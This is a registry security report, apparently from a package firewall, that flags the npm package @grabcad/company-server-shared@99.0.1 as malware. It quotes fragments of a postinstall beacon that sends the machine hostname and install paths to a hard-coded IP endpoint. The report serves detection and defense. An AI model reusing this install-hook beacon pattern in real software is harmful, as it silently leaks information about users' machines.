registry / Data exfiltration / @grabcad/company-server-shared
@grabcad/company-server-shared
Compatibility shim.
This report shows the evidence for @grabcad/company-server-shared@99.0.1. 5 of 5 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 1h ago · by lpm-firewall-aiSource inspection confirms automatic disclosure of identifying installation metadata to a fixed external endpoint without an installer consent gate. This supports blocking the package as an installation-time data disclosure.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or import of the main entrypoint.
Impact
The endpoint receives identifying information about the machine and package installation.
Mechanism
The beacon builds a payload with machine and installation metadata and sends it to the hard-coded endpoint without a consent check.
Attack narrative
The automatic installation hook runs the beacon, which sends the machine name and installation paths to a fixed external endpoint. The package’s main entrypoint also invokes the beacon when imported.
AI rationale
Source inspection confirms automatic disclosure of identifying installation metadata to a fixed external endpoint without an installer consent gate. This supports blocking the package as an installation-time data disclosure.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The manifest runs a package script automatically after installation.
- The beacon code sends an HTTP request to a fixed external endpoint.
- The request payload includes the machine name, installation path, and working directory.
- Importing the main entrypoint also triggers the beacon.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"scripts": {
"postinstall": "node beacon.cjs"
},
"files": [
"index.js
High
Ai Review Evidence
The manifest runs a package script automatically after installation.
package.jsonView on unpkg · L6beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@grabcad/company-server-shared";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighAi Review Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @grabcad/company-server-shared@99.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing @grabcad/company-server-shared@99.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.